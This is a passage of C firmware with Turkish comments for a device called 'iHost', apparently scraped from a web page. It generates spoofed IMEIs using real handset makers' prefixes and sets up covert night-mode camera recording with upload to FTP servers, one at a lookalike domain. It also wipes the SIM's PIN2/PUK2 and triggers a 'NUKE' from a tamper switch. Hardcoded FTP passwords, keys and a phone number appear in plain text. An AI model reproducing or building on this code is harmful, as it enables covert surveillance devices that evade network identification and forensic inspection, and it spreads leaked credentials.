sum = 10 - (sum % 10);
if (sum == 10) sum = 0;
return (sum == 0) ? true : false;
}
bool createIMEI(char *imei, bool simCom)
{
const char imei_SimCom[8] = "35976903";
const char imei_Lg3g[8] = "35363803";
const char imei_LgCookie3g[8] = "35573903";
const char imei_Samsung3g[8] = "35427703";
const char imei_Touch3g[8] = "35450302";
const char imei_Prestigio3g[8] = "35893105";
const char imei_Alps3g[8] = "35747505";
const char imei_Option3g[8] = "35196900";
const char imei_Option23g[8] = "35693600";
const char imei_Pupillo3g[8] = "35684900";
const char imei_Curve3g[8] = "35743704";
char tmpBuffer[30] = ""; /* Rakamları tutacak uzun buffer */
char tmpIMEI[30] = ""; /* Üzerinde çalışılan geçici IMEI */
bool result = false; /* Geri döndürülecek başarı durumu */
struct gecko_msg_system_get_random_data_rsp_t* randomVal; /* randomVal struct tanımlaması */
randomVal = gecko_cmd_system_get_random_data(16); /* randomVal 2 byte'lık veri ile doldurulur */
/* 4 tane 2byte'lık veri tmpBuffer'a koyulur, bu gerekenden uzun bir veri yapar */
sprintf(tmpBuffer, "%d%d%d%d", randomVal->data.data[0], randomVal->data.data[2], randomVal->data.data[4], randomVal->data.data[7]);
tmpBuffer[6] = 0; /* Uzun veriyi 6 Basamakta kilitle */
//xprint("tmpBuffer: %s", tmpBuffer);
if (simCom) { /* Eğer Sim Com 5216 IMEI talep ediliyorsa */
xprint("SimCom IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_SimCom, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
}
else {
switch(tmpBuffer[5]) { /* Son rakamına göre Random bir TAC Seçilir */
case '0':
xprint("Lg3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Lg3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '1':
xprint("LgCookie3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_LgCookie3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '2':
xprint("Samsung3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Samsung3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '3':
xprint("Touch3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Touch3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '4':
xprint("Prestigio3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Prestigio3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '5':
xprint("Alps3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Alps3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '6':
xprint("Option3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Option3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '7':
xprint("Option23g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Option23g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '8':
xprint("Pupillo3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Pupillo3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
case '9':
xprint("Curve3g IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_Curve3g, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
default:
xprint("Hata var!. SimCom IMEI Hesaplanacak");
memcpy(tmpIMEI, imei_SimCom, 8); /* İlk 8 byte'ı kopyala, sprintf ile olmuyor */
break;
}
}
memcpy(tmpIMEI + 8, tmpBuffer, 6); /* Random 6 basamak ekleyip TAC+Random(14byte) oluştur */
int8_t tmpC = _imei_calcDigit(tmpIMEI); /* Kontrol değerini hesapla */
sprintf(imei, "%s%d", tmpIMEI, tmpC); /* Hesaplanan rakamı ekleyip tam imei oluştur, %d ile otomatik tip çevrimi, memcpy kullanmıyorum */
result = _imei_check(imei); /* Tüme imei doğruluğunu kontrol et */
xprint("Hesaplanan IMEI: %s - tmpC: %d - Dogruluk: %d", imei, tmpC, result);
return result;
}
/*********************************************************************************************************************************
* @brief UNIQUEID_STR ve DATETIME_STR Global değişkenleri hazırlanır
*
* @details
* Cihazın Bluetooth adresinin de olduğu UniqueID alınır
* Şuanki DateTime bilgisi alınır
* Bu bilgiler string olarak Global Değişkenlere kaydedilir ve özgün FileName oluşturma ve diğer amaçlarda kullanıılır
*
********************************************************************************************************************************/
void uniqueIDnDateTme(void)
{
uint64_t sysID = SYSTEM_GetUnique(); /* System unique ID'sini al */
uint32_t dTime = CRYOTIMER_CounterGet(); /* CRYO Timer'dan date time bilgisini al */
uint8_t tmpBuffer[4]; /* Geçici buffer - En az 4 byte olmalı (Date Time) */
uint8_t dongu; /* Geçici döngü değişkeni */
memset(UNIQUEID_STR, 0, sizeof(UNIQUEID_STR)); /* uniqueID sıfırla, sonu otomatik NULL olsun */
memset(DATETIME_STR, 0, sizeof(DATETIME_STR)); /* dateTime sıfırla, sonu otomatik NULL olsun */
tmpBuffer[0] = (uint8_t) (sysID >> 16);
tmpBuffer[1] = (uint8_t) (sysID >> 8);
tmpBuffer[2] = (uint8_t) (sysID);
for (dongu = 0; dongu < 3; dongu++)
{ sprintf(&(UNIQUEID_STR[dongu * 2]), "%02X", tmpBuffer[dongu]); }
xprint("UNIQUEID_STR: %s", UNIQUEID_STR);
tmpBuffer[0] = (uint8_t) (dTime >> 24);
tmpBuffer[1] = (uint8_t) (dTime >> 16);
tmpBuffer[2] = (uint8_t) (dTime >> 8);
tmpBuffer[3] = (uint8_t) (dTime);
for (dongu = 0; dongu < 4; dongu++)
{ sprintf(&(DATETIME_STR[dongu * 2]), "%02X", tmpBuffer[dongu]); }
xprint("DATETIME_STR: %s", DATETIME_STR);
}
/*
* !!! MODÜL AÇILDIKTAN SONRA ENABLE YAPILIR!! YOKSA SLEEP'E GEÇMEZ !!!
*
* Uart pinleri Enable veya Disable yapılır
* GSM Modül Sleep'e geçebilmesi için özellikle TX Pin'i reset edilmelidir
* GSM Modül içersinde Pull-Down bulunduğu için, Disabled yapılmazsa Sleep'e geçmemektedir
* Sürekli olarak 20-30mAh harcamaktadır!!
*
* TX Low active çalışmaktadır. Idle = high olduğundan 1 hatasız başlama için 1 yapılır
*
*/
void txAyarla(bool Basla)
{
if (Basla)
// { GPIO_PinModeSet(GSM_PORT, GSM_TX_PIN, gpioModeWiredOr, 1); GPIO_PinModeSet(GSM_PORT, GSM_RX_PIN, gpioModeInput, 0); } else
{ GPIO_PinModeSet(GSM_PORT, GSM_TX_PIN, gpioModePushPull, 1); } else
{ GPIO_PinModeSet(GSM_PORT, GSM_TX_PIN, gpioModeDisabled, 0); }
}
/*
* Bir defaya mahsus iHost Setup
* Developer tarafından cihaz ilk kullanıma hazırlanır
*
* MCU'nun flash bilgileri kaydedilir
* SIM kartın PIN'i set edilir
* SIM Kartın PIN2 ve PUK2 FUCK yapılır
*
*/
void dikkatBirDefayaMahsusIHostSetup(void)
{
xprint("********** DEVELOPER IHOST SETUP BASLADI **********");
xprint("systemVariables ve Flash ayarlaniyor");
memset(&systemVariables, 0, sizeof(systemVariables)); /* systemVariables içeriğini reset et (Set edilmeye variable'ların kirli kalma olasılığı var) */
systemVariables.enKey1 = 0xa83c4f29;
systemVariables.enKey1 = 0x4c40db23;
systemVariables.enKey1 = 0x512659c0;
systemVariables.enKey1 = 0x33adf035;
systemVariables.imeiHATA = 0;
systemVariables.pinDogru = 0;
systemVariables.camWait = 0;
systemVariables.camRecord = 15;
systemVariables.updatePeridyotic = 7;
systemVariables.updateFileLimit = 6;
sprintf(systemVariables.camRes, "320,240");
sprintf(systemVariables.camFps, "2");
sprintf(systemVariables.camNight, "1");
sprintf(systemVariables.camWhiteBal, "1");
sprintf(systemVariables.camBright, "3"); /* Default 3, 6'ya kadar çıkabilir */
sprintf(systemVariables.aranacakNo, "+905353078471");
sprintf(systemVariables.enDetect, "DUMPING");
sprintf(systemVariables.pin, "1234");
sprintf(systemVariables.vodafoneAPN, "vodafone");
sprintf(systemVariables.turkcellAPN, "internet");
sprintf(systemVariables.ftpServer1, "nozy.exavault.com");
sprintf(systemVariables.ftpUser1, "dev01");
sprintf(systemVariables.ftpPass1, "dev0101");
sprintf(systemVariables.ftpServer2, "ftp.gglstatics.xyz");
sprintf(systemVariables.ftpUser2, "u678253584.a31a98");
sprintf(systemVariables.ftpPass2, "D38DLrVDHqNr");
systemVariables.camHStart = 0; /* Test için 200 */
systemVariables.camHStop = 0; /* Test için 416 */
systemVariables.camVStart = 0; /* Test için 84 */
systemVariables.camVStop = 0; /* Test için 256 */
flashWrite(); /* System Variables şifrelenerek kaydedilir */
fuckPin2Puk2(); /* Pin2 ve Puk2 varsa yok eder */
xprint("********** DEVELOPER IHOST SETUP BITTI **********");
}
void initIHost(void)
{
uint32_t resetCause;
initDevice(); /* Tüm cihazlar için ortak init */
resetCause = RMU->RSTCAUSE; /* Olabildiğince hızlı şekilde reset sebebini öğren */
RMU_ResetCauseClear(); /* Reset sebebini sil */
(void) resetCause; /* İlerde belki kullanılır */
ZAMAN_SIFIRLA;
xprintC("\n\n\n****************** iHost Basladi ******************\n");
#ifdef DEBUG
xprint("Acilis yavaslamasi");
bekle(1000, true, 2); /* Debug Mod'a özel açılış yavaşlaması */
#endif
btUpdateBuffer = &_btUpdateBuffer; /* btUpdateBuffer'ı init yap */
btUpdateHeader = _btUpdateHeader; /* btUpdateBufferHeader init */
GPIO_PinModeSet( TAMPER_PORT, TAMPER_PIN, gpioModeInputPullFilter, 1); /* Tamper Switch init yap, input pullup, Active low; 0 olursa NUKE yap */
GPIO_ExtIntConfig(TAMPER_PORT, TAMPER_PIN, TAMPER_PIN, false, true, true); /* Düşen kenarda trigger yap */
}
Paylaş: